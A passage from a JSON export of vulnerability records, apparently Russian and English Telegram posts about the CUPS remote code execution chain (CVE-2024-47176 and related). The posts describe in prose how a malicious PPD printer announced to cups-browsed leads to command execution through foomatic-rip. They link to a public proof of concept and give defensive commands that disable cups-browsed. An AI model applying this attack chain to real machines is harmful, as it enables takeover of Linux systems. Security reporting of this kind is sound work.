\u043f\u0435\u0447\u0430\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Linux, \u0438 \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Unix-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a FreeBSD, NetBSD \u0438 OpenBSD \u0438 \u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0435\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u043c\u043e\u043d cups-browsed, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0449\u0435\u0442 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043b\u0438 \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a Windows \u0438 Mac \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0441\u0435\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0438\u043c\u043e\u043d \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0434\u0435\u043c\u043e\u043d cups-browsed \u0432\u043a\u043b\u044e\u0447\u0435\u043d, \u0447\u0435\u0433\u043e \u043d\u0435\u0442 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u0442 UDP 631, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\n\u0421 \u0443\u0447\u0435\u0442\u043e\u043c \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 PostScript Printer Description (PPD), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 cups-browsed, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 UDP 631. \u0421\u043b\u0443\u0436\u0431\u0430 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u044d\u0442\u043e\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043d\u0430 \u043d\u043e\u0432\u043e\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 PPD \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0430\u044f \u043f\u0440\u0438 \u043f\u0435\u0447\u0430\u0442\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440 foomatic-rip, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0434\u0435\u043c\u043e\u043d cups-browsed, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0440\u0442\u044b UDP \u0432 \u0441\u0435\u0442\u0438. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u0430\u0441\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u042d\u0442\u043e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041f\u043e\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, Red Hat \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043c\u0435\u0440\u0430\u043c\u0438 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0440\u0438\u0441\u043a\u043e\u0432, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u043c\u0438 \u043e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431\u044b cups-browsed \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \n\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Summary \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T02:02:02.675286Z"}, {"uuid": "6799b4ee-d497-4f57-ab1a-000e9694309c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/539", "content": "CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE\n\nblog: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n\nPoC: https://github.com/RickdeJager/cupshax\n\npatch:\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n#exploit #git #pentest #redteam", "creation_timestamp": "2026-07-27T00:00:24.845727Z"}, {"uuid": "845eb6e8-8f72-436c-8e4b-dc35db2454ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/3222", "content": "\u0421\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CUPS \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Linux\n\n\u041f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u043d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0435\u0447\u0430\u0442\u0438 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c CUPS \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-47076 (libcupsfilters), CVE-2024-47175 (libppd), CVE-2024-47176 (cups-browsed) \u0438 CVE-2024-47177 (cups-filters). \u0412\u0430\u0436\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\nCUPS (\u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 Common UNIX Printing System) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Linux, \u0438 \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Unix-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a FreeBSD, NetBSD \u0438 OpenBSD \u0438 \u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0435\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u043c\u043e\u043d cups-browsed, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0449\u0435\u0442 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043b\u0438 \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a Windows \u0438 Mac \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0441\u0435\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0438\u043c\u043e\u043d \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0434\u0435\u043c\u043e\u043d cups-browsed \u0432\u043a\u043b\u044e\u0447\u0435\u043d, \u0447\u0435\u0433\u043e \u043d\u0435\u0442 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u0442 UDP 631, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\n\u0421 \u0443\u0447\u0435\u0442\u043e\u043c \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 PostScript Printer Description (PPD), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 cups-browsed, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 UDP 631. \u0421\u043b\u0443\u0436\u0431\u0430 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u0435\u0447\u0430\u0442\u0438. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u044d\u0442\u043e\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043d\u0430 \u043d\u043e\u0432\u043e\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 PPD \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0430\u044f \u043f\u0440\u0438 \u043f\u0435\u0447\u0430\u0442\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440 foomatic-rip, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0434\u0435\u043c\u043e\u043d cups-browsed, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0440\u0442\u044b UDP \u0432 \u0441\u0435\u0442\u0438. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u0430\u0441\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u042d\u0442\u043e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041f\u043e\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, Red Hat \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043c\u0435\u0440\u0430\u043c\u0438 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0440\u0438\u0441\u043a\u043e\u0432, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u043c\u0438 \u043e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431\u044b cups-browsed \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \n\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 